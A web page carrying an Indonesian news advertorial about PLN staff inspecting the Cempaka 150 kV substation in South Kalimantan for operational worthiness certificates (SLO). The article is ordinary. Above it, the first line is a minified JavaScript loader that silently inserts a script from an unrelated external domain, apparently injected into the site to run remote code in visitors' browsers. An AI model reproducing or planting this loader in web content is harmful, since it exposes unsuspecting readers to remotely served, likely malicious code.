(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Inspeksi SLO, Srikandi PLN Hadirkan Keandalan dan Kualitas Instalasi

KANALKALIMANTAN.COM, BANJARBARU – PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan berkomitmen memastikan keandalan dan kualitas instalasi tenaga listrik bagi para pelanggan.

Sebagai bagian dari upaya ini, Srikandi Unit Pelaksana Transmisi (UPT) Banjarbaru turut mengambil perannya dalam giat inspeksi untuk mendapatkan Sertifikat Laik Operasi (SLO) di berbagai instalasi listrik Kalimantan Selatan, salah satunya di Gardu Induk (GI) Cempaka 150 Kv, pada Selasa (7/5/2024).

General Manager PLN UIP3B Kalimantan, Abdul Salam Nganro mengatakan, dalam proses mendapatkan SLO ini, terdapat Srikandi-Srikandi PLN yang berkontribusi. Dalam setiap kegiatan, Srikandi PLN turut hadir memastikan seluruh instalasi listrik yang terpasang memenuhi standar keselamatan yang ditetapkan.

“Tidak hanya di belakang layar saja, Srikandi PLN ikut terjun langsung dalam memberikan pelayanan terbaik dan memastikan keandalan listrik bagi seluruh pelanggan. Mereka mengerti betul bahwa SLO adalah bagian dari komitmen PLN untuk memberikan listrik yang aman dan andal,” kata Salam.

Salam menambahkan, memiliki SLO merupakan suatu langkah penting bagi PLN dalam memastikan instalasi ketenagalistrikan andal dan bisa digunakan hingga mampu menyalurkan tenaga listrik sampai ke pelanggan.

“Sebagaimana diketahui, SLO kini menjadi sebuah syarat wajib bagi instalasi guna memastikan sebuah Gardu Induk layak dioperasikan. Dengan adanya SLO, pelanggan bisa lebih tenang karena instalasi listrik mereka telah diperiksa dan disetujui oleh pihak berwenang,” terang Salam.

Sementara itu, Manager PLN Unit Pelaksana Transmisi Banjarbaru, Akhmad Fauzan, mengungkapkan, pihaknya sedang berupaya untuk menyelesaikan seluruh target SLO di tahun 2024. Terkait persiapan sebelum melakukan inspeksi ialah dengan melakukan tindak pemeliharaan sekaligus pengambilan data uji bagi instalasi.

“Sebelum melakukan inspeksi SLO, kami melakukan pemeliharaan periodik dua tahunan sekaligus pengambilan data uji untuk pemenuhan dokumen SLO. Total sekitar 81 bay yang menjadi target SLO untuk UPT Banjarbaru tahun ini. Insyaallah tercapai target 100% SLO di tahun 2024,” beber Fauzan.

Salah seorang Srikandi PLN, Aurelia Christabel Daly Djami menjelaskan, dalam setiap kegiatan inspeksi yang dilakukan, dibutuhkan perhatian yang khusus untuk memastikan instalasi listrik bekerja dengan aman dan andal.

“Melalui giat inspeksi ini, kami menjamin peralatan layak beroperasi sehingga kualitas listrik dan keandalan yang kami berikan untuk masyarakat Kalimantan Selatan tetap terjaga. Ini merupakan tugas yang mulia bagi kami Srikandi PLN dalam hadirkan terang di setiap penugasan kami,” pungkas Aurel.

SLO merupakan sertifikat yang wajib dimiliki oleh setiap instalasi listrik untuk memastikan bahwa instalasi tersebut aman dan sesuai dengan standar yang ditetapkan oleh pemerintah. Dengan adanya SLO ini, PLN berupaya untuk terus meningkatkan kualitas layanan dan memastikan bahwa setiap instalasi listrik yang dipasang andal dan berkualitas. (Kanalkalimantan.com/adv)

Editor: kk